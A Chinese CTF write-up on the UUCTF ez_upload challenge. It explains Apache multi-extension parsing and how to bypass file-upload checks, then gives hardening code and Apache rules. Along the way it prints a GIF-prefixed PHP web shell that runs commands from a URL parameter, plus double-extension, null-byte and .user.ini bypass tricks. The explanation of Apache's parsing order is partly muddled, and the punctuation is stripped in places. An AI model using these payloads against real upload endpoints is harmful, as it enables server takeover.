【CTF实战】从UUCTF ez_upload看Apache解析漏洞的攻防博弈

发布时间:2026/6/29 0:11:28
【CTF实战】从UUCTF ez_upload看Apache解析漏洞的攻防博弈 1. 从UUCTF ez_upload看Apache解析漏洞的本质在CTF比赛中文件上传类题目一直是考察Web安全基础的重点题型。去年UUCTF新生赛中的ez_upload题目就巧妙利用了Apache服务器的解析特性设计了一道经典的文件上传绕过题。当时我作为参赛选手第一次遇到这个题目时也踩了不少坑后来通过抓包分析和源码审计才恍然大悟。Apache解析漏洞的核心在于其独特的文件解析逻辑。与常见的Nginx不同Apache允许一个文件名包含多个点分隔的后缀如test.jpg.php。当遇到这样的文件名时Apache会从右向左逐个检查后缀如果最右侧后缀无法识别比如.php是合法后缀而.xyz不是就会继续向左检查直到找到第一个能识别的后缀为止。这就意味着上传shell.jpg.php时即使服务器配置了黑名单禁止.php文件只要.jpg在合法后缀列表中Apache最终仍会以PHP方式解析该文件。2. 实战复现ez_upload的完整攻击链2.1 环境搭建与初步探测我们先在本地搭建复现环境使用Docker快速部署一个ApachePHP环境。关键配置需要保持与题目一致docker run -d -p 8080:80 --name uuctf_upload \ -v $(pwd)/www:/var/www/html php:7.4-apache通过Burp Suite拦截上传请求时发现题目主要设置了三重防御前端白名单校验仅允许.jpg/.png后缀MIME类型校验Content-Type必须为image/*文件内容校验要求包含合法的图片文件头2.2 绕过黑名单的关键技巧原始请求中的这个细节值得注意Content-Disposition: form-data; namefile; filename4.jpg.php这里使用了双后缀绕过。虽然前端JS校验了后缀名但通过Burp直接修改POST数据就能轻松绕过。更隐蔽的做法是使用空字节截断filenameshell.php%00.jpg不过现代PHP版本已经修复了空字节漏洞在PHP 5.3.4之后需要改用其他方式。2.3 文件内容的多重绕过题目要求上传的文件必须包含GIF文件头同时又要植入PHP代码。这里采用了经典的图片马技术GIF89a ?php system($_GET[cmd]); ?实际测试中发现部分WAF会检测?php标签。这时可以改用更隐蔽的写法script languagephp system(id); /script3. Apache解析漏洞的深度剖析3.1 解析顺序的底层逻辑Apache的解析行为由mime.types文件定义。通过命令可以查看所有合法后缀cat /etc/mime.types | grep -v ^#当上传a.b.c.d文件时Apache的解析过程是这样的检查.d → 不在列表中 → 继续检查.c → 不在列表中 → 继续检查.b → 找到对应类型 → 按此类型处理3.2 特殊后缀的利用技巧除了常见的.php后缀实战中还可以尝试这些变体.php3/.php4/.php5 → 旧版PHP支持.phtml → 某些配置允许.phps → 源码展示漏洞我曾在一个真实案例中发现即使服务器禁用了.php但.PhP大小写混合仍然可以执行这是因为文件系统区分大小写而Apache不区分。4. 从攻击到防御的完整方案4.1 开发者防护建议对于文件上传功能应该采用白名单重命名策略$allowed [jpg, png]; $ext strtolower(pathinfo($name, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)){ die(Invalid file type); } $new_name md5(uniqid())...$ext; move_uploaded_file($tmp, /uploads/.$new_name);额外建议使用getimagesize()验证图片真实性存储目录禁用脚本执行权限设置Content-Disposition: attachment4.2 运维人员加固方案在Apache配置中增加这些指令FilesMatch \.ph(p[3457]?|t|tml)$ Require all denied /FilesMatch Directory /uploads php_flag engine off /Directory5. 拓展思考与实战技巧在实际渗透测试中遇到文件上传限制时可以尝试这些方法修改Content-Type为image/png等合法类型使用Exif工具注入恶意代码到图片元数据尝试.htaccess文件覆盖解析规则结合文件包含漏洞实现二次利用有次在测试某CMS时发现虽然限制了.php后缀但允许上传.user.ini文件。通过设置auto_prepend_fileshell.jpg最终实现了代码执行。这种迂回战术在CTF和真实渗透中都很常见。